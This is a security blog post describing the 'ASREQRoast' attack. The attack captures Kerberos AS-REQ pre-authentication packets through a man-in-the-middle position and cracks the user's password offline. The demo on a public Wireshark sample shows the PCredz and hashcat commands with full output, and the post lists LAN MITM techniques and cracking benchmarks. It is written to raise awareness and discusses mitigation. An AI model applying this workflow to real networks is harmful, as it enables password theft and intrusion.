ASREQRoast - From MITM to hash


While reading up on the typical kerberos authentication workflow, I
realized that it's possible to get a hash of the user's password (that you
can attempt to crack). The only thing you have to do is to intercept the
first packet in the kerberos authentication process, called AS-REQ.

I didn't find the attack to be as well documented as the other attacks such
as kerberoasting or ASREPRoast[4], therefore I decided to write this post
to increase awareness of the issue.

What this attack means is that an attacker who can gain a passive
man-in-the-middle position (MITM) for the duriation of user logon or other
action that triggers kerberos authentication, will be able to launch
offline password cracking attacks against the victim user performing the
authentication attempt.

I'd like to point out that this attack has been known at least since 2014:

"Thus, Kerberos pre-authentication can prevent the active
attacker. However, it does not prevent a passive attacker
from sniffing the client's encrypted timestamp message to
the KDC. If the attacker can sniff that full packet, he
can brute force it offline."[5]

The oldest reference of pre-authentication I can find is from rfc6113[7],
which was published April 2011.

# Demo

For this demo, I'll use a sample from Wireshark's collection. Imagine that
you collected it yourself by sniffing traffic from a victim user.

Sample: krb-816 from wireshark's sample page[0].

Launching the PCredz[1] tool from @lgandx to scan the pcap file:

~/tools/PCredz $ ./Pcredz -f ~/downloads/krb-816.cap
Pcredz 1.0.0
Author: Laurent Gaffie
Please send bugs/comments/pcaps to: [email protected]
This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos,
FTP, HTTP Basic and credit card data from a given pcap file or from a
live interface.
CC number scanning activated
Using TCPDump format
1 protocol: udp >
MSKerb hash found: $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba7
19 protocol: udp >
MSKerb hash found: $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8f
/home/magnus/downloads/krb-816.cap parsed in: 0.0747 seconds (File size
0.0343 Mo).

The capture contained two AS-REQ's that used pre-authentication[2], which
means that the user's NTLM hash was used as an encryption key to encrypt a
timestamp. Therefore, we can test if a user has a specific password by
hashing it with NTLM, and then using the hash in an attempt to decrypt the
encrypted timestamp. If it worked, we've successfully guessed the victim's
password. In other words, we may launch an offline bruteforce attack.

We can do that with hashcat[3], mode 7500:

~/tools/hashcat $ ./hashcat -m 7500 as-req.hashes
hashcat (v5.1.0-893-gb8ab78d4) starting...
Dictionary cache built:
* Filename..: /Users/mks/resources/SecLists/Passwords/
* Passwords.: 3721224
* Bytes.....: 41000012
* Keyspace..: 3721224
* Runtime...: 0 secs


Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5 AS-REQ Pre-Auth etype 23
Hash.Target......: /Users/mks/shared/as-req.hashes
Time.Started.....: Mon Jul 1 13:49:22 2019 (0 secs)
Time.Estimated...: Mon Jul 1 13:49:22 2019 (0 secs)
Guess.Base.......: File (/Users/mks/resources/SecLists/Passwords/openwa
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 288.7 kH/s (7.43ms) @ Accel:2 Loops:1 Thr:64 Vec:1
Speed.#*.........: 288.7 kH/s
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 6144/7442448 (0.08%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/3721224 (0.00%)
Restore.Sub.#2...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidates.#2....: 12345 -> acumen

Started: Mon Jul 1 13:49:13 2019
Stopped: Mon Jul 1 13:49:24 2019

That's it.

# Mitigation

There's none. Technically speaking, you could disable kerberos
pre-authentication, but that makes you vulnerable to the even more scarier
ASREPRoast[4] attack. Your best bet is increasing the difficulty of
cracking user's passwords, ensuring that 2FA is enabled on all
authentication sites and increasing the difficulty of getting a MITM

Luckily, kerberos isn't typically used over the internet, therefore
limiting the attack surface. However gaining a MITM position on a LAN has
historically been straight forward.

As an example, these are just a few techniques to gain MITM on a LAN:

- ARP poisoning
- ICMP type 13 redirect
- rogue DHCP
- rogue IPv6 announcements

The problem is that there's no confidentiality protection of the traffic.
If only some transport layer encryption was in place, problem would be

# Practicality

The practicallity of this attack depends on your abilities to gain MITM
and the complexity of user passwords.
Since there is no active part besides MITMing a victim, the level of
stealth of this attack is the same as the level of stealth involved in
gaining and maintaining your MITM position.

# Password cracking performance

Here's a comparison from a hashcat benchmark of NTLM and the AS-REQ packet
on a RTX 2080Ti. As you can see it's 135 times slower to crack AS-REQ
hashes when comparing to NTLM hashes. That's not really that bad when
thinking about the fact that you could get cracking speeds of 632 GH/s with
NTLM for $7.34/hour on AWS[6]. That would be about 4.7 GH/s with AS-REQ.

Hashmode: 1000 - NTLM
Speed.#1.........: 87510.8 MH/s (24.82ms) @ Accel:32 Loops:1024 Thr:
1024 Vec:2

Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23
Speed.#1.........: 646.0 MH/s (54.71ms) @ Accel:128 Loops:64 Thr:
64 Vec:1

If you have an opinion of the practicality of this attack, let me know.

# References

2: Pre-Authentication